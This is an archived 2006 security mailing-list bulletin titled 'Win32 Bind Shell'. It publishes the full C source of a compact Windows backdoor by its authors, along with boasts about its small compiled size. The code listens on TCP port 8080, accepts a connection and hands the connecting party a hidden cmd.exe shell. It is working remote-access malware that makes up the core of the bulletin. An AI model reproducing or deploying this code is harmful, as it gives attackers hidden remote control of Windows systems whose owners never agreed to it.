

[TOOL] Win32 Bind Shell

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00044.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 13 Feb 2006 19:03:00 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
 -- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Win32 Bind Shell

SUMMARY

DETAILS

Small bindshell (908 bytes for binary) compacted to 804 bytes with a little Headers modification.

Source:

/#####*

Haxorcitos Mini Shell

=====

Details:

Compiled Size: 908 bytes
 Tweaked Size : 804 bytes (with a little Headers modification by Tarako)
 This size can be also reduced disabling MsDos exe compatibility (maybe further release)

Programado por/Coded by : Miguel Tarasc Acu a aka "Tarako" –

[TOOL] Win32 Bind Shell

Tarako@xxxxxxxxx
Programado por/Coded by : Andres Tarasc Acu a aka "aT4r" –
atarasco@xxxxxxxxx

Pagina Web/ Web page : <http://www.Haxorcitos.com>

Tested under Windows 2000 SP4 Spanish version
Tested under Windows XP SP2 Spanish version

Sorry Checksum.org. Our bind shell is smaller than yours (tx.exe) }:
and we also provide source code

```
#####*/
#include <winsock2.h>
#pragma comment(linker, "/ENTRY:WinMain")

int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int ) {

STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101, &HWSAdata);

s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);

sa.sin_family = AF_INET;
sa.sin_port = 0x901F; // (USHORT)htons(8080);
sa.sin_addr.s_addr= 0x00; // htonl(INADDR_ANY);

bind(s, (struct sockaddr *) &sa, 16);
listen(s, 1);
s= accept(s,(struct sockaddr *)&sa,NULL);

si.cb = sizeof(si); // 0x44;
si.wShowWindow = SW_HIDE; // 0x00
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void *) s;

si.lpDesktop = si.lpTitle = (char *) 0x0000;
si.lpReserved2 = NULL;

CreateProcess( NULL , "cmd",NULL, NULL,TRUE,
0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
```

ADDITIONAL INFORMATION

[TOOL] Win32 Bind Shell

The information has been provided by <<mailto:tarako@xxxxxxxx>> Miguel Tarasco.
The original article can be found at: <www.Haxorcitos.com>
www.Haxorcitos.com

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.